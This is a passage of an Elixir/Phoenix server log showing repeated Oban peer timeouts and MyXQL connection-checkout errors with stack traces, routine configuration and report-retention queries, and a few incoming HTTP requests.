    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 18:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.7ms idle=1587.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 18:46:25.612000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 18:46:27.299000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 18:46:30.613000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 18:46:34.815000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 18:47:08.847000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 18:47:13.848000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 18:47:18.731000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 18:47:53.764000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 18:47:58.765000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 18:48:02.303000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 18:48:03.319000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 18:48:36.352000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 18:48:37.305000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 18:48:41.353000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 18:48:46.161000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 18:49:21.193000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 18:49:26.194000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 18:49:30.839000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 18:50:03.870000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 18:50:05.323000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 18:50:08.871000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 18:50:12.309000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 18:50:13.340000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 18:50:46.371000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 18:50:47.311000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 18:50:51.372000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 18:50:55.775000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 18:51:29.808000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 18:51:34.809000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 18:51:38.928000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 18:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=1.3ms idle=1542.3ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 19:00:00.443000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.8ms idle=271.4ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-05 19:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Sat Sep  5 19:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1519.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 19:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.9ms idle=1493.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 19:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1478.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 19:30:00.443000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.8ms idle=220.9ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-05 19:30:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Sat Sep  5 19:30:00.654000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=1.2ms queue=0.2ms idle=430.8ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-05 19:30:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Sat Sep  5 19:30:00.655000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=1.6ms idle=431.2ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-05 19:30:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Sat Sep  5 19:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1465.9ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 19:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1447.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 19:56:05.706000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 19:56:16.483000 2026] [Phoenix.Logger:info] [pid 2816631] [client 8.216.6.206:26298] GET /
[Sat Sep  5 19:56:16.484000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 8.216.6.206:26298] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Sat Sep  5 19:56:16.484000 2026] [Phoenix.Logger:info] [pid 2816631] [client 8.216.6.206:26298] Sent 200 in 1ms
[Sat Sep  5 19:56:17.289000 2026] [Phoenix.Logger:info] [pid 2816631] [client 8.216.6.206:26302] GET /
